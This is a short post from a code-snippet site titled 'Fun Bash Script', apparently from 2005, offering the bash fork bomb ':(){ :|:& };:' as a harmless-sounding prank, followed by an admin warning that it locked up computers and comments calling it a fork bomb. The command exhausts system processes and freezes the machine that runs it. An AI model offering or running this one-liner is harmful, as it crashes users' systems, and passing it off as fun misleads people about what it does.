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Fun Bash Script

04.08.2005
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        <b>Warning from admin: Some users have reported this snippet LOCKED UP THEIR COMPUTERS. Do NOT run it unless you accept this as a possible consequence!!</b>

Guaranteed to work on mandrake, even at security level 4 (5 being the highest).

dfdeshom@localhost$ :(){ :|:& };:
    

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Snippets Manager replied on Mon, 2012/05/07 - 2:11pm

Back when I owned Snippets, someone e-mailed me with the same complaint. DZone may choose to remove it now, but I'm still of the opinion it should remain up, but with a warning (which it now has).

Snippets Manager replied on Fri, 2007/02/16 - 3:34pm

This is a fork bomb and should be removed from this website. dfdeshom is lame for posting this